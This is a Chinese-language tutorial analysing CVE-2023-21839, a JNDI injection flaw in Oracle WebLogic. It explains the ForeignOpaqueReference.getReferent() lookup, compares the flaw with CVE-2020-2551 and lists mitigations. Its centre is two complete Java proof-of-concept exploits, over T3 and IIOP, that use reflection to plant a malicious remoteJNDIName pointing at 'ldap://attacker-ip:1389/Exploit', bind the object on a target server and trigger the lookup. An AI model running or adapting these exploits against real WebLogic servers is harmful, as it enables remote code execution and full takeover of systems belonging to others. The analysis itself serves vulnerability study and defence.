CVE-2023-21839分析
字数 1593 2025-08-24 20:49:31
WebLogic JNDI注入漏洞分析 (CVE-2023-21839) 教学文档
漏洞概述
CVE-2023-21839是WebLogic服务器中的一个JNDI注入漏洞,影响WebLogic 10.3.6.0版本。该漏洞允许攻击者通过T3/IIOP协议远程绑定恶意对象到服务端,并通过JNDI查找触发远程代码执行。
漏洞原理
核心机制
-
JNDI远程绑定机制:
- WebLogic的T3与IIOP协议支持使用JNDI远程绑定对象并查询
- 绑定过程中数据通过序列化传输
-
OpaqueReference接口:
- 当远程对象继承自OpaqueReference时,客户端进行JNDI查找时,服务端会调用远程对象的getReferent()方法
weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并实现了getReferent方法
-
漏洞触发点:
- ForeignOpaqueReference.getReferent()方法中存在
retVal = context.lookup(this.remoteJNDIName)实现 - 攻击者可以控制remoteJNDIName参数,导致JNDI注入
- ForeignOpaqueReference.getReferent()方法中存在
与CVE-2020-2551的对比
| 特性 | CVE-2023-21839 | CVE-2020-2551 |
|---|---|---|
| 协议 | T3或IIOP均可 | 仅IIOP |
| 触发方式 | 远程绑定后查询触发 | 反序列化触发 |
| 利用点 | ForeignOpaqueReference.getReferent() | RMI-IIOP传输中的反序列化 |
漏洞利用分析
关键代码分析
漏洞核心在ForeignOpaqueReference.getReferent()方法:
public Object getReferent(Name name, Context ctx) throws NamingException {
Context context = null;
Object retVal = null;
try {
if (this.jndiEnvironment != null) {
context = new InitialContext(this.jndiEnvironment);
} else {
context = ctx;
}
retVal = context.lookup(this.remoteJNDIName); // 漏洞触发点
// ...
}
// ...
}
利用条件
-
控制两个关键属性:
remoteJNDIName:通过反射设置为恶意LDAP/RMI地址jndiEnvironment:通过反射设置InitialContext环境
-
攻击流程:
- 创建ForeignOpaqueReference对象
- 通过反射设置恶意属性
- 通过T3/IIOP协议绑定到WebLogic
- 触发lookup查询
漏洞复现
环境准备
依赖库:
<dependency>
<groupId>weblogic</groupId>
<artifactId>wlfullclient</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>spring</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>logging</artifactId>
<version>0.1</version>
</dependency>
T3协议利用POC
import weblogic.deployment.jms.ForeignOpaqueReference;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
String url = "t3://192.168.135.129:7001"; // 目标地址
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url);
InitialContext c = new InitialContext(env1);
// 配置恶意ForeignOpaqueReference对象
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
ForeignOpaqueReference f = new ForeignOpaqueReference();
// 通过反射设置jndiEnvironment
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
// 通过反射设置remoteJNDIName
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://attacker-ip:1389/Exploit";
remoteJNDIName.set(f, ldap);
// 绑定恶意对象
c.rebind("exploit", f);
// 触发漏洞
try {
c.lookup("exploit");
} catch (Exception e) {}
}
}
IIOP协议利用POC
IIOP协议需要额外处理NAT网络问题:
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
// ...其他导入同上...
public class CVE_2023_21839_IIOP {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
String url = "iiop://192.168.135.129:7001";
long TIME_OUT = 15000L;
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url);
env1.put("weblogic.jndi.requestTimeout", TIME_OUT + "");
// 解决IIOP的NAT问题
IOPProfile.IP = "192.168.135.129";
IOPProfile.PORT = 7001;
InitialContext c = new InitialContext(env1);
// 其余部分与T3版本相同
// ...
}
}
防御措施
-
官方补丁:
- 应用Oracle官方发布的安全补丁
-
临时缓解措施:
- 禁用T3协议或限制访问来源
# 在WebLogic控制台中限制T3协议- 使用网络防火墙限制IIOP端口访问
-
安全配置:
- 启用WebLogic的JNDI注入防护机制
- 限制JNDI查找的协议和地址
-
代码层面防护:
- 对ForeignOpaqueReference类进行安全加固
- 添加对remoteJNDIName的输入验证
技术总结
-
漏洞本质:通过WebLogic的JNDI远程绑定机制,结合OpaqueReference接口特性,实现JNDI注入
-
利用条件:
- 能够连接到WebLogic的T3/IIOP服务
- 能够控制ForeignOpaqueReference对象的属性
-
影响范围:
- WebLogic 10.3.6.0及受影响版本
- 使用T3/IIOP协议的服务
-
攻击效果:
- 远程代码执行
- 服务器完全控制
扩展研究
-
其他OpaqueReference实现类:
- 检查WebLogic中其他实现OpaqueReference接口的类是否存在类似问题
-
协议差异分析:
- T3与IIOP协议在漏洞利用中的具体差异
- 网络环境对协议选择的影响
-
绕过防护技术:
- 在防护措施下的潜在绕过方法
- 替代利用链研究
-
自动化检测:
- 基于流量特征的漏洞检测
- 基于字节码的补丁验证